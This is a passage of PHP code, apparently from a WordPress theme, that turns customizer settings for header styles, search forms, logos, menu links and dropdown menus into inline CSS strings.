'#site-header.full_screen-header .fs-dropdown-menu li a{color:'. $full_screen_header_links_color .';}'; } // Links hover color if ( ! empty( $full_screen_header_links_hover_color ) && '#929292' != $full_screen_header_links_hover_color ) { $css .= '#site-header.full_screen-header .fs-dropdown-menu li a:hover{color:'. $full_screen_header_links_hover_color .';}'; } // Search color if ( ! empty( $full_screen_header_search_color ) && '#ffffff' != $full_screen_header_search_color ) { $css .= '#site-header.full_screen-header .fs-dropdown-menu>li.search-toggle-li input,#site-header.full_screen-header .fs-dropdown-menu>li.search-toggle-li label{color:'. $full_screen_header_search_color .';}'; } // Search dashed background color if ( ! empty( $full_screen_header_search_dashed_bg ) && '#ffffff' != $full_screen_header_search_dashed_bg ) { $css .= '#site-header.full_screen-header .fs-dropdown-menu>li.search-toggle-li label i{background-color:'. $full_screen_header_search_dashed_bg .';}'; } // Search border color if ( ! empty( $full_screen_header_search_border_color ) && '#666666' != $full_screen_header_search_border_color ) { $css .= '#site-header.full_screen-header .fs-dropdown-menu>li.search-toggle-li input{border-color:'. $full_screen_header_search_border_color .';}'; } // Search hover border color if ( ! empty( $full_screen_header_search_hover_border_color ) && '#ffffff' != $full_screen_header_search_hover_border_color ) { $css .= '#site-header.full_screen-header .fs-dropdown-menu>li.search-toggle-li input:hover{border-color:'. $full_screen_header_search_hover_border_color .';}'; } // Search focus border color if ( ! empty( $full_screen_header_search_focus_border_color ) && '#ffffff' != $full_screen_header_search_focus_border_color ) { $css .= '#site-header.full_screen-header .fs-dropdown-menu>li.search-toggle-li input:focus{border-color:'. $full_screen_header_search_focus_border_color .';}'; } } // Medium header style if ( 'medium' == $header_style ) { // Add top header background for medium header style if ( ! empty( $medium_header_top_header_bg ) && '#ffffff' != $medium_header_top_header_bg ) { $css .= '#site-header.medium-header .top-header-wrap,.is-sticky #site-header.medium-header.is-transparent .top-header-wrap,#searchform-header-replace{background-color:'. $medium_header_top_header_bg .';}'; } // Top header padding if ( isset( $medium_header_top_header_top_padding ) && '30' != $medium_header_top_header_top_padding && '' != $medium_header_top_header_top_padding || isset( $medium_header_top_header_bottom_padding ) && '30' != $medium_header_top_header_bottom_padding && '' != $medium_header_sticky_top_header_bottom_padding ) { $css .= '#site-header.medium-header .top-header-wrap{padding:'. oceanwp_spacing_css( $medium_header_top_header_top_padding, '', $medium_header_top_header_bottom_padding, '' ) .'}'; } // Tablet top header padding if ( isset( $medium_header_top_header_tablet_top_padding ) && '' != $medium_header_top_header_tablet_top_padding || isset( $medium_header_top_header_tablet_bottom_padding ) && '' != $medium_header_top_header_tablet_bottom_padding ) { $css .= '@media (max-width: 768px){#site-header.medium-header .top-header-wrap{padding:'. oceanwp_spacing_css( $medium_header_top_header_tablet_top_padding, '', $medium_header_top_header_tablet_bottom_padding, '' ) .'}}'; } // Mobile top header padding if ( isset( $medium_header_top_header_mobile_top_padding ) && '' != $medium_header_top_header_mobile_top_padding || isset( $medium_header_top_header_mobile_bottom_padding ) && '' != $medium_header_top_header_mobile_bottom_padding ) { $css .= '@media (max-width: 480px){#site-header.medium-header .top-header-wrap{padding:'. oceanwp_spacing_css( $medium_header_top_header_mobile_top_padding, '', $medium_header_top_header_mobile_bottom_padding, '' ) .'}}'; } // Sticky top header padding if ( isset( $medium_header_sticky_top_header_top_padding ) && '20' != $medium_header_sticky_top_header_top_padding && '' != $medium_header_sticky_top_header_top_padding || isset( $medium_header_sticky_top_header_bottom_padding ) && '20' != $medium_header_sticky_top_header_bottom_padding && '' != $medium_header_sticky_top_header_bottom_padding ) { $css .= '.is-sticky #site-header.medium-header .top-header-wrap{padding:'. oceanwp_spacing_css( $medium_header_sticky_top_header_top_padding, '', $medium_header_sticky_top_header_bottom_padding, '' ) .'}'; } // Tablet sticky top header padding if ( isset( $medium_header_sticky_top_header_tablet_top_padding ) && '' != $medium_header_sticky_top_header_tablet_top_padding || isset( $medium_header_sticky_top_header_tablet_bottom_padding ) && '' != $medium_header_sticky_top_header_tablet_bottom_padding ) { $css .= '@media (max-width: 768px){.is-sticky #site-header.medium-header .top-header-wrap{padding:'. oceanwp_spacing_css( $medium_header_sticky_top_header_tablet_top_padding, '', $medium_header_sticky_top_header_tablet_bottom_padding, '' ) .'}}'; } // Mobile sticky top header padding if ( isset( $medium_header_sticky_top_header_mobile_top_padding ) && '' != $medium_header_sticky_top_header_mobile_top_padding || isset( $medium_header_sticky_top_header_mobile_bottom_padding ) && '' != $medium_header_sticky_top_header_mobile_bottom_padding ) { $css .= '@media (max-width: 480px){.is-sticky #site-header.medium-header .top-header-wrap{padding:'. oceanwp_spacing_css( $medium_header_sticky_top_header_mobile_top_padding, '', $medium_header_sticky_top_header_mobile_bottom_padding, '' ) .'}}'; } // Add height menu for medium header style if ( ! empty( $medium_header_menu_height ) && '60' != $medium_header_menu_height ) { $css .= '#site-header.medium-header #site-navigation-wrap .dropdown-menu > li > a,#site-header.medium-header .oceanwp-mobile-menu-icon a{line-height:'. $medium_header_menu_height .'px;}'; } // Header padding if ( isset( $medium_header_menu_items_right_padding ) && '22' != $medium_header_menu_items_right_padding && '' != $medium_header_menu_items_right_padding || isset( $medium_header_menu_items_left_padding ) && '22' != $medium_header_menu_items_left_padding && '' != $medium_header_menu_items_left_padding ) { $css .= '#site-header.medium-header #site-navigation-wrap .dropdown-menu > li > a{padding:'. oceanwp_spacing_css( '', $medium_header_menu_items_right_padding, '', $medium_header_menu_items_left_padding ) .'}'; } // Tablet header padding if ( isset( $medium_header_menu_items_tablet_right_padding ) && '' != $medium_header_menu_items_tablet_right_padding || isset( $medium_header_menu_items_tablet_left_padding ) && '' != $medium_header_menu_items_tablet_left_padding ) { $css .= '@media (max-width: 768px){#site-header.medium-header #site-navigation-wrap .dropdown-menu > li > a,#site-header.medium-header .oceanwp-mobile-menu-icon a{padding:'. oceanwp_spacing_css( '', $medium_header_menu_items_tablet_right_padding, '', $medium_header_menu_items_tablet_left_padding ) .'}}'; } // Mobile header padding if ( isset( $medium_header_menu_items_mobile_right_padding ) && '' != $medium_header_menu_items_mobile_right_padding || isset( $medium_header_menu_items_mobile_left_padding ) && '' != $medium_header_menu_items_mobile_left_padding ) { $css .= '@media (max-width: 480px){#site-header.medium-header #site-navigation-wrap .dropdown-menu > li > a,#site-header.medium-header .oceanwp-mobile-menu-icon a{padding:'. oceanwp_spacing_css( '', $medium_header_menu_items_mobile_right_padding, '', $medium_header_menu_items_mobile_left_padding ) .'}}'; } // Add left attr if left position for medium header style if ( 'left-menu' == $medium_header_menu_position ) { if ( ! empty( $medium_header_menu_items_left_padding ) && '22' != $medium_header_menu_items_left_padding ) { $css .= '#site-header.medium-header #site-navigation-wrap.left-menu #site-navigation{left:-'. $medium_header_menu_items_left_padding .'px}'; } if ( ! empty( $medium_header_menu_items_tablet_left_padding ) ) { $css .= '@media (max-width: 768px){#site-header.medium-header #site-navigation-wrap.left-menu #site-navigation{left:-'. $medium_header_menu_items_tablet_left_padding .'px}}'; } if ( ! empty( $medium_header_menu_items_mobile_left_padding ) ) { $css .= '@media (max-width: 480px){#site-header.medium-header #site-navigation-wrap.left-menu #site-navigation{left:-'. $medium_header_menu_items_mobile_left_padding .'px}}'; } } // Add right attr if right position for medium header style if ( 'right-menu' == $medium_header_menu_position ) { if ( ! empty( $medium_header_menu_items_right_padding ) && '22' != $medium_header_menu_items_right_padding ) { $css .= '#site-header.medium-header #site-navigation-wrap.left-menu #site-navigation{right:-'. $medium_header_menu_items_right_padding .'px}'; } if ( ! empty( $medium_header_menu_items_tablet_right_padding ) ) { $css .= '@media (max-width: 768px){#site-header.medium-header #site-navigation-wrap.left-menu #site-navigation{right:-'. $medium_header_menu_items_tablet_right_padding .'px}}'; } if ( ! empty( $medium_header_menu_items_mobile_right_padding ) ) { $css .= '@media (max-width: 480px){#site-header.medium-header #site-navigation-wrap.left-menu #site-navigation{right:-'. $medium_header_menu_items_mobile_right_padding .'px}}'; } } // Add menu background for medium header style if ( ! empty( $medium_header_menu_bg ) && '#f9f9f9' != $medium_header_menu_bg ) { $css .= '#site-header.medium-header #site-navigation-wrap,#site-header.medium-header .oceanwp-mobile-menu-icon,.is-sticky #site-header.medium-header.is-transparent #site-navigation-wrap,.is-sticky #site-header.medium-header.is-transparent .oceanwp-mobile-menu-icon,#site-header.medium-header.is-transparent .is-sticky #site-navigation-wrap,#site-header.medium-header.is-transparent .is-sticky .oceanwp-mobile-menu-icon{background-color:'. $medium_header_menu_bg .';}'; } // Add search background for medium header style if ( ! empty( $medium_header_search_bg ) && '#f5f5f5' != $medium_header_search_bg ) { $css .= '#site-header.medium-header #medium-searchform .search-bg{background-color:'. $medium_header_search_bg .';}'; } // Add search color for medium header style if ( ! empty( $medium_header_search_color ) && '#333333' != $medium_header_search_color ) { $css .= '#site-header.medium-header #medium-searchform input{color:'. $medium_header_search_color .';}'; } // Add search label color for medium header style if ( ! empty( $medium_header_search_placeholder_color ) && '#333333' != $medium_header_search_placeholder_color ) { $css .= '#site-header.medium-header #medium-searchform label{color:'. $medium_header_search_placeholder_color .';}'; } // Add search button color for medium header style if ( ! empty( $medium_header_search_button_color ) && '#333333' != $medium_header_search_button_color ) { $css .= '#site-header.medium-header #medium-searchform button{color:'. $medium_header_search_button_color .';}'; } // Add search button hover color for medium header style if ( ! empty( $medium_header_search_button_hover_color ) && '#13aff0' != $medium_header_search_button_hover_color ) { $css .= '#site-header.medium-header #medium-searchform button:hover{color:'. $medium_header_search_button_hover_color .';}'; } } // Vertical header padding if ( 'vertical' == $header_style ) { // Collapse width if ( ! empty( $vertical_header_collapse_width ) && '1280' != $vertical_header_collapse_width ) { $css .= '@media only screen and (max-width: '. $vertical_header_collapse_width .'px) { body.vertical-header-style.left-header #site-header.vertical-header {left: -266px;} body.vertical-header-style.left-header #outer-wrap {margin-left: 34px;} body.vertical-header-style.right-header #site-header.vertical-header {right: -266px;} body.vertical-header-style.right-header #outer-wrap {margin-right: 34px;} body.vertical-header-style.vh-opened.left-header #site-header.vertical-header {left: 0;} body.vertical-header-style.vh-opened.right-header #site-header.vertical-header {right: 0;} body.vertical-header-style.vh-opened #site-header.vertical-header #site-navigation-wrap {padding-right: 0;} #site-header.vertical-header .vertical-toggle { display: block; } #site-header.vertical-header #site-navigation-wrap { padding-right: 34px; } }'; } // Width if ( ! empty( $vertical_header_width ) && '300' != $vertical_header_width ) { $css .= '#site-header.vertical-header{width:'. $vertical_header_width .'px;}'; // Wrap margin if left header if ( ! empty( $vertical_header_width ) && '300' != $vertical_header_width && 'left-header' == get_theme_mod( 'ocean_vertical_header_position', 'left-header' ) ) { $css .= 'body.vertical-header-style.left-header #outer-wrap {margin-left:'. $vertical_header_width .'px;}'; } // Wrap margin if right header if ( ! empty( $vertical_header_width ) && '300' != $vertical_header_width && 'right-header' == get_theme_mod( 'ocean_vertical_header_position', 'left-header' ) ) { $css .= 'body.vertical-header-style.right-header #outer-wrap {margin-right:'. $vertical_header_width .'px;}'; } // If closed header $css .= ' body.vertical-header-style.vh-closed.left-header #site-header.vertical-header {left: -'. $vertical_header_width .'px;} body.vertical-header-style.vh-closed.left-header #outer-wrap {margin-left: 34px;} body.vertical-header-style.vh-closed.right-header #site-header.vertical-header {right: -'. $vertical_header_width .'px;} body.vertical-header-style.vh-closed.right-header #outer-wrap {margin-right: 34px;}'; // For small screens $vh_width_minus = $vertical_header_width - 34; if ( ! empty( $vertical_header_collapse_width ) ) { $media_width = $vertical_header_collapse_width; } else { $media_width = '1280'; } $css .= '@media only screen and (max-width: '. $media_width .'px) { body.vertical-header-style.left-header #site-header.vertical-header {left: -'. $vh_width_minus .'px;} body.vertical-header-style.left-header #outer-wrap {margin-left: 34px;} body.vertical-header-style.right-header #site-header.vertical-header {right: -'. $vh_width_minus .'px;} body.vertical-header-style.right-header #outer-wrap {margin-right: 34px;} }'; } // Vertical header top/bottom padding if ( isset( $vertical_header_inner_top_padding ) && '30' != $vertical_header_inner_top_padding && '' != $vertical_header_inner_top_padding || isset( $vertical_header_inner_bottom_padding ) && '30' != $vertical_header_inner_bottom_padding && '' != $vertical_header_inner_bottom_padding ) { $css .= '#site-header.vertical-header #site-header-inner{padding:'. oceanwp_spacing_css( $vertical_header_inner_top_padding, '', $vertical_header_inner_bottom_padding, '' ) .'}'; } // Vertical header left/right padding if ( isset( $vertical_header_inner_right_padding ) && '30' != $vertical_header_inner_right_padding && '' != $vertical_header_inner_right_padding || isset( $vertical_header_inner_left_padding ) && '30' != $vertical_header_inner_left_padding && '' != $vertical_header_inner_left_padding ) { $css .= '#site-header.vertical-header #site-header-inner>*:not(#site-navigation-wrap), #site-header.vertical-header #site-navigation-wrap .dropdown-menu > li > a{padding:'. oceanwp_spacing_css( '', $vertical_header_inner_right_padding, '', $vertical_header_inner_left_padding ) .'}'; } // Tablet vertical header padding if ( isset( $tablet_vertical_header_inner_top_padding ) && '' != $tablet_vertical_header_inner_top_padding || isset( $tablet_vertical_header_inner_right_padding ) && '' != $tablet_vertical_header_inner_right_padding || isset( $tablet_vertical_header_inner_bottom_padding ) && '' != $tablet_vertical_header_inner_bottom_padding || isset( $tablet_vertical_header_inner_left_padding ) && '' != $tablet_vertical_header_inner_left_padding ) { $css .= '@media (max-width: 768px){#site-header-inner{padding:'. oceanwp_spacing_css( $tablet_vertical_header_inner_top_padding, $tablet_vertical_header_inner_right_padding, $tablet_vertical_header_inner_bottom_padding, $tablet_vertical_header_inner_left_padding ) .'}}'; } // Mobile vertical header padding if ( isset( $mobile_vertical_header_inner_top_padding ) && '' != $mobile_vertical_header_inner_top_padding || isset( $mobile_vertical_header_inner_right_padding ) && '' != $mobile_vertical_header_inner_right_padding || isset( $mobile_vertical_header_inner_bottom_padding ) && '' != $mobile_vertical_header_inner_bottom_padding || isset( $mobile_vertical_header_inner_left_padding ) && '' != $mobile_vertical_header_inner_left_padding ) { $css .= '@media (max-width: 480px){#site-header-inner{padding:'. oceanwp_spacing_css( $mobile_vertical_header_inner_top_padding, $mobile_vertical_header_inner_right_padding, $mobile_vertical_header_inner_bottom_padding, $mobile_vertical_header_inner_left_padding ) .'}}'; } // Menu items padding if ( ! empty( $vertical_header_menu_items_padding ) && '17' != $vertical_header_menu_items_padding ) { $css .= '#site-header.vertical-header #site-navigation-wrap .dropdown-menu > li > a{padding-top:'. $vertical_header_menu_items_padding .'px; padding-bottom:'. $vertical_header_menu_items_padding .'px;}'; } // Menu items border color if ( ! empty( $vertical_header_menu_items_border_color ) && 'rgba(0,0,0,0.05)' != $vertical_header_menu_items_border_color ) { $css .= '#site-header.vertical-header #site-navigation-wrap .dropdown-menu li, #site-header.vertical-header #site-navigation-wrap .dropdown-menu .sub-menu{border-color:'. $vertical_header_menu_items_border_color .';}'; } // Sub menu background color if ( ! empty( $vertical_header_sub_menu_bg ) && 'rgba(0,0,0,0.03)' != $vertical_header_sub_menu_bg ) { $css .= '#site-header.vertical-header #site-navigation-wrap .dropdown-menu .sub-menu{background-color:'. $vertical_header_sub_menu_bg .';}'; } // Sub menu links color if ( ! empty( $vertical_header_sub_menu_sub_menu_links_color ) && '#333333' != $vertical_header_sub_menu_sub_menu_links_color ) { $css .= '#site-header.vertical-header .dropdown-menu ul li a.menu-link{color:'. $vertical_header_sub_menu_sub_menu_links_color .';}'; } // Sub menu links hover color if ( ! empty( $vertical_header_sub_menu_links_hover_color ) && '#555555' != $vertical_header_sub_menu_links_hover_color ) { $css .= '#site-header.vertical-header .dropdown-menu ul li a.menu-link:hover{color:'. $vertical_header_sub_menu_links_hover_color .';}'; } // Sub menu links background color if ( ! empty( $vertical_header_sub_menu_links_bg ) ) { $css .= '#site-header.vertical-header .dropdown-menu ul li a.menu-link{background-color:'. $vertical_header_sub_menu_links_bg .';}'; } // Sub menu links hover background color if ( ! empty( $vertical_header_sub_menu_links_hover_bg ) && '#f8f8f8' != $vertical_header_sub_menu_links_hover_bg ) { $css .= '#site-header.vertical-header .dropdown-menu ul li a.menu-link:hover{background-color:'. $vertical_header_sub_menu_links_hover_bg .';}'; } // Search top border width if ( ! empty( $vertical_header_search_border_width ) ) { $css .= '#site-header.vertical-header #vertical-searchform form input{border-width:'. $vertical_header_search_border_width .';}'; } // Search border radius if ( ! empty( $vertical_header_search_border_radius ) ) { $css .= '#site-header.vertical-header #vertical-searchform form input, #site-header.vertical-header #vertical-searchform form .search-bg{border-radius:'. $vertical_header_search_border_radius .';}'; } // Search Background Color if ( ! empty( $vertical_header_search_bg ) && 'rgba(0,0,0,0.03)' != $vertical_header_search_bg ) { $css .= '#site-header.vertical-header #vertical-searchform form .search-bg{background-color:'. $vertical_header_search_bg .';}'; } // Search Color if ( ! empty( $vertical_header_search_color ) && '#333333' != $vertical_header_search_color ) { $css .= '#site-header.vertical-header #vertical-searchform form input, #site-header.vertical-header #vertical-searchform form label{color:'. $vertical_header_search_color .';}'; } // Search border Color if ( ! empty( $vertical_header_search_border_color ) && 'rgba(0,0,0,0.04)' != $vertical_header_search_border_color ) { $css .= '#site-header.vertical-header #vertical-searchform form input{border-color:'. $vertical_header_search_border_color .';}'; } // Search hover border Color if ( ! empty( $vertical_header_search_hover_border_color ) ) { $css .= '#site-header.vertical-header #vertical-searchform form input:hover{border-color:'. $vertical_header_search_hover_border_color .';}'; } // Search focus border Color if ( ! empty( $vertical_header_search_focus_border_color ) ) { $css .= '#site-header.vertical-header #vertical-searchform form input:focus{border-color:'. $vertical_header_search_focus_border_color .';}'; } // Search Button Color if ( ! empty( $vertical_header_search_btn_color ) && '#777777' != $vertical_header_search_btn_color ) { $css .= '#site-header.vertical-header #vertical-searchform form button{color:'. $vertical_header_search_btn_color .';}'; } // Search Button Hover Color if ( ! empty( $vertical_header_search_btn_hover_color ) && '#333333' != $vertical_header_search_btn_hover_color ) { $css .= '#site-header.vertical-header #vertical-searchform form button:hover{color:'. $vertical_header_search_btn_hover_color .';}'; } // Custom hamburger button color if ( ! empty( $vertical_header_hamburger_color ) && '#000000' != $vertical_header_hamburger_color ) { $css .= '.vertical-toggle .hamburger-inner, .vertical-toggle .hamburger-inner::before, .vertical-toggle .hamburger-inner::after{background-color:'. $vertical_header_hamburger_color .';}'; } } // Header media overlay color if ( ! empty( $header_image_overlay_color ) && 'rgba(0,0,0,0.3)' != $header_image_overlay_color ) { $css .= '#site-header.has-header-media .overlay-header-media{background-color:'. $header_image_overlay_color .';}'; } // Header logo max width if ( ! empty( $logo_max_width ) ) { $css .= '#site-logo #site-logo-inner a img, #site-header.center-header #site-navigation-wrap .middle-site-logo a img{max-width:'. $logo_max_width .'px;}'; } // Header logo max width tablet if ( ! empty( $logo_max_width_tablet ) ) { $css .= '@media (max-width: 768px){#site-logo #site-logo-inner a img, #site-header.center-header #site-navigation-wrap .middle-site-logo a img{max-width:'. $logo_max_width_tablet .'px;}}'; } // Header logo max width mobile if ( ! empty( $logo_max_width_mobile ) ) { $css .= '@media (max-width: 480px){#site-logo #site-logo-inner a img, #site-header.center-header #site-navigation-wrap .middle-site-logo a img{max-width:'. $logo_max_width_mobile .'px;}}'; } // Header logo max height if ( ! empty( $logo_max_height ) ) { $css .= '#site-header #site-logo #site-logo-inner a img, #site-header.center-header #site-navigation-wrap .middle-site-logo a img{max-height:'. $logo_max_height .'px;}'; } // Header logo max height tablet if ( ! empty( $logo_max_height_tablet ) ) { $css .= '@media (max-width: 768px){#site-header #site-logo #site-logo-inner a img, #site-header.center-header #site-navigation-wrap .middle-site-logo a img{max-height:'. $logo_max_height_tablet .'px;}}'; } // Header logo max height mobile if ( ! empty( $logo_max_height_mobile ) ) { $css .= '@media (max-width: 480px){#site-header #site-logo #site-logo-inner a img, #site-header.center-header #site-navigation-wrap .middle-site-logo a img{max-height:'. $logo_max_height_mobile .'px;}}'; } // Header logo color if ( ! empty( $logo_color ) && '#333333' != $logo_color ) { $css .= '#site-logo a.site-logo-text{color:'. $logo_color .';}'; } // Header logo hover color if ( ! empty( $logo_hover_color ) && '#13aff0' != $logo_hover_color ) { $css .= '#site-logo a.site-logo-text:hover{color:'. $logo_hover_color .';}'; } // Responsive logo max height if ( ! empty( $responsive_logo_height ) ) { $css .= '#site-logo.has-responsive-logo .responsive-logo-link img{max-height:'. $responsive_logo_height .'px;}'; } // Search dropdown input background if ( ! empty( $search_dropdown_input_bg ) ) { $css .= '#searchform-dropdown input, #icon-searchform-dropdown input{background-color:'. $search_dropdown_input_bg .';}'; } // Search dropdown input color if ( ! empty( $search_dropdown_input_color ) && '#333333' != $search_dropdown_input_color ) { $css .= '#searchform-dropdown input, #icon-searchform-dropdown input{color:'. $search_dropdown_input_color .';}'; } // Search dropdown input border color if ( ! empty( $search_dropdown_input_border ) && '#dddddd' != $search_dropdown_input_border ) { $css .= '#searchform-dropdown input, #icon-searchform-dropdown input{border-color:'. $search_dropdown_input_border .';}'; } // Search dropdown input border color focus if ( ! empty( $search_dropdown_input_border_focus ) && '#bbbbbb' != $search_dropdown_input_border_focus ) { $css .= '#searchform-dropdown input:focus, #icon-searchform-dropdown input:focus{border-color:'. $search_dropdown_input_border_focus .';}'; } // Search overlay background color if ( ! empty( $search_overlay_bg ) && 'rgba(0,0,0,0.9)' != $search_overlay_bg ) { $css .= '#searchform-overlay, #icon-searchform-overlay{background-color:'. $search_overlay_bg .';}'; } // Search overlay input color if ( ! empty( $search_overlay_input_color ) && '#ffffff' != $search_overlay_input_color ) { $css .= '#searchform-overlay form input, #searchform-overlay form label, #icon-searchform-overlay form input, #icon-searchform-overlay form label{color:'. $search_overlay_input_color .';}'; } // Search overlay input placeholder color if ( ! empty( $search_overlay_placeholder_color ) && '#ffffff' != $search_overlay_placeholder_color ) { $css .= '#searchform-overlay form label, #icon-searchform-overlay form label{color:'. $search_overlay_placeholder_color .';}'; } // Search overlay input dashed background if ( ! empty( $search_overlay_input_dashed_bg ) && '#ffffff' != $search_overlay_input_dashed_bg ) { $css .= '#searchform-overlay form label i, #icon-searchform-overlay form label i{background-color:'. $search_overlay_input_dashed_bg .';}'; } // Search overlay input border color if ( ! empty( $search_overlay_input_border ) && '#444444' != $search_overlay_input_border ) { $css .= '#searchform-overlay form input, #icon-searchform-overlay form input{border-color:'. $search_overlay_input_border .';}'; } // Search overlay input border color hover if ( ! empty( $search_overlay_input_border_hover ) && '#777777' != $search_overlay_input_border_hover ) { $css .= '#searchform-overlay form input:hover, #icon-searchform-overlay form input:hover{border-color:'. $search_overlay_input_border_hover .';}'; } // Search overlay input border color focus if ( ! empty( $search_overlay_input_border_focus ) && '#ffffff' != $search_overlay_input_border_focus ) { $css .= '#searchform-overlay form input:focus, #icon-searchform-overlay form input:focus{border-color:'. $search_overlay_input_border_focus .';}'; } // Search overlay close button color if ( ! empty( $search_overlay_close_button_color ) && '#ffffff' != $search_overlay_close_button_color ) { $css .= '#searchform-overlay a.search-overlay-close span::before, #searchform-overlay a.search-overlay-close span::after, #icon-searchform-overlay a.search-overlay-close span::before, #icon-searchform-overlay a.search-overlay-close span::after{background-color:'. $search_overlay_close_button_color .';}'; } // Links effect blue color if ( ! empty( $links_effect_blue_color ) && '#13aff0' != $links_effect_blue_color ) { $css .= '.effect-one #site-navigation-wrap .dropdown-menu > li > a.menu-link > span:after, .effect-three #site-navigation-wrap .dropdown-menu > li > a.menu-link > span:after, .effect-five #site-navigation-wrap .dropdown-menu > li > a.menu-link > span:before, .effect-five #site-navigation-wrap .dropdown-menu > li > a.menu-link > span:after, .effect-nine #site-navigation-wrap .dropdown-menu > li > a.menu-link > span:before, .effect-nine #site-navigation-wrap .dropdown-menu > li > a.menu-link > span:after{background-color: '. $links_effect_blue_color .';}'; $css .= '.effect-four #site-navigation-wrap .dropdown-menu > li > a.menu-link > span:before, .effect-four #site-navigation-wrap .dropdown-menu > li > a.menu-link > span:after, .effect-seven #site-navigation-wrap .dropdown-menu > li > a.menu-link:hover > span:after, .effect-seven #site-navigation-wrap .dropdown-menu > li.sfHover > a.menu-link > span:after{color: '. $links_effect_blue_color .';}'; $css .= '.effect-seven #site-navigation-wrap .dropdown-menu > li > a.menu-link:hover > span:after, .effect-seven #site-navigation-wrap .dropdown-menu > li.sfHover > a.menu-link > span:after{text-shadow: 10px 0 '. $links_effect_blue_color .', -10px 0 '. $links_effect_blue_color .';}'; } // Links effect dark color if ( ! empty( $links_effect_dark_color ) && 'rgba(0,0,0,0.1)' != $links_effect_dark_color ) { $css .= '.effect-two #site-navigation-wrap .dropdown-menu > li > a.menu-link > span:after, .effect-eight #site-navigation-wrap .dropdown-menu > li > a.menu-link > span:before, .effect-eight #site-navigation-wrap .dropdown-menu > li > a.menu-link > span:after{background-color: '. $links_effect_dark_color .';}'; $css .= '.effect-six #site-navigation-wrap .dropdown-menu > li > a.menu-link > span:before, .effect-six #site-navigation-wrap .dropdown-menu > li > a.menu-link > span:after{border-color: '. $links_effect_dark_color .';}'; $css .= '.effect-ten #site-navigation-wrap .dropdown-menu > li > a.menu-link:hover > span, .effect-ten #site-navigation-wrap .dropdown-menu > li.sfHover > a.menu-link > span{-webkit-box-shadow: 0 0 10px 4px '. $links_effect_dark_color .'; -moz-box-shadow: 0 0 10px 4px '. $links_effect_dark_color .'; box-shadow: 0 0 10px 4px '. $links_effect_dark_color .';}'; } // Menu items padding if ( ! empty( $menu_items_padding ) && '15' != $menu_items_padding ) { $css .= '#site-navigation-wrap .dropdown-menu > li > a{padding: 0 '. $menu_items_padding .'px;}'; } // Menu link color if ( ! empty( $menu_link_color ) && '#555555' != $menu_link_color ) { $css .= '#site-navigation-wrap .dropdown-menu > li > a,.oceanwp-mobile-menu-icon a,#searchform-header-replace-close{color:'. $menu_link_color .';}'; $css .= '#site-navigation-wrap .dropdown-menu > li > a .owp-icon use,.oceanwp-mobile-menu-icon a .owp-icon use,#searchform-header-replace-close .owp-icon use{stroke:'. $menu_link_color .';}'; } // Menu link color hover if ( ! empty( $menu_link_color_hover ) && '#13aff0' != $menu_link_color_hover ) { $css .= '#site-navigation-wrap .dropdown-menu > li > a:hover,.oceanwp-mobile-menu-icon a:hover,#searchform-header-replace-close:hover{color:'. $menu_link_color_hover .';}'; $css .= '#site-navigation-wrap .dropdown-menu > li > a:hover .owp-icon use,.oceanwp-mobile-menu-icon a:hover .owp-icon use,#searchform-header-replace-close:hover .owp-icon use{stroke:'. $menu_link_color_hover .';}'; } // Menu link active color if ( ! empty( $menu_link_color_active ) && '#555555' != $menu_link_color_active ) { $css .= '#site-navigation-wrap .dropdown-menu > .current-menu-item > a,#site-navigation-wrap .dropdown-menu > .current-menu-ancestor > a,#site-navigation-wrap .dropdown-menu > .current-menu-item > a:hover,#site-navigation-wrap .dropdown-menu > .current-menu-ancestor > a:hover{color:'. $menu_link_color_active .';}'; } // Menu link background color if ( ! empty( $menu_link_background ) ) { $css .= '#site-navigation-wrap .dropdown-menu > li > a{background-color:'. $menu_link_background .';}'; } // Menu link hover background color if ( ! empty( $menu_link_hover_background ) ) { $css .= '#site-navigation-wrap .dropdown-menu > li > a:hover,#site-navigation-wrap .dropdown-menu > li.sfHover > a{background-color:'. $menu_link_hover_background .';}'; } // Menu link active background color if ( ! empty( $menu_link_active_background ) ) { $css .= '#site-navigation-wrap .dropdown-menu > .current-menu-item > a,#site-navigation-wrap .dropdown-menu > .current-menu-ancestor > a,#site-navigation-wrap .dropdown-menu > .current-menu-item > a:hover,#site-navigation-wrap .dropdown-menu > .current-menu-ancestor > a:hover{background-color:'. $menu_link_active_background .';}'; } // Dropdown menu width if ( ! empty( $dropdown_width ) && '180' != $dropdown_width ) { $css .= '.dropdown-menu .sub-menu{min-width:'. $dropdown_width .'px;}'; } // Dropdown menu background color if ( ! empty( $dropdown_menu_background ) && '#ffffff' != $dropdown_menu_background ) { $css .= '.dropdown-menu .sub-menu,#searchform-dropdown,.current-shop-items-dropdown{background-color:'. $dropdown_menu_background .';}'; } // Dropdown menu top border color if ( ! empty( $dropdown_menu_top_border ) && '#13aff0' != $dropdown_menu_top_border ) { $css .= '.dropdown-menu .sub-menu,#searchform-dropdown,.current-shop-items-dropdown{border-color:'. $dropdown_menu_top_border .';}'; } // Dropdown menu borders color if ( ! empty( $dropdown_menu_borders ) && '#f1f1f1' != $dropdown_menu_borders ) { $css .= '.dropdown-menu ul li.menu-item,.navigation > ul > li > ul.megamenu.sub-menu > li,.navigation .megamenu li ul.sub-menu{border-color:'. $dropdown_menu_borders .';}'; } // Dropdown menu link color if ( ! empty( $dropdown_menu_link_color ) && '#333333' != $dropdown_menu_link_color ) { $css .= '.dropdown-menu ul li a.menu-link{color:'. $dropdown_menu_link_color .';}'; $css .= '.dropdown-menu ul li a.menu-link .owp-icon use{stroke:'. $dropdown_menu_link_color .';}'; } // Dropdown menu link hover color if ( ! empty( $dropdown_menu_link_color_hover ) && '#555555' != $dropdown_menu_link_color_hover ) { $css .= '.dropdown-menu ul li a.menu-link:hover{color:'. $dropdown_menu_link_color_hover .';}'; $css .= '.dropdown-menu ul li a.menu-link:hover .owp-icon use{stroke:'. $dropdown_menu_link_color_hover .';}'; } // Dropdown menu link hover background color if ( ! empty( $dropdown_menu_link_hover_bg ) && '#f8f8f8' != $dropdown_menu_link_hover_bg ) { $css .= '.dropdown-menu ul li a.menu-link:hover{background-color:'. $dropdown_menu_link_hover_bg .';}'; } // Dropdown menu link active color if ( ! empty( $dropdown_menu_link_color_active ) ) { $css .= '.dropdown-menu ul > .current-menu-item > a.menu-link{color:'. $dropdown_menu_link_color_active .';}'; } // Dropdown menu link active background color if ( ! empty( $dropdown_menu_link_bg_active ) ) { $css .= '.dropdown-menu ul > .current-menu-item > a.menu-link{background-color:'. $dropdown_menu_link_bg_active .';}'; } // Dropdown menu link active background color if ( ! empty( $dropdown_category_title_bg ) && '#f8f8f8' != $dropdown_category_title_bg ) { $css .= '.navigation li.mega-cat 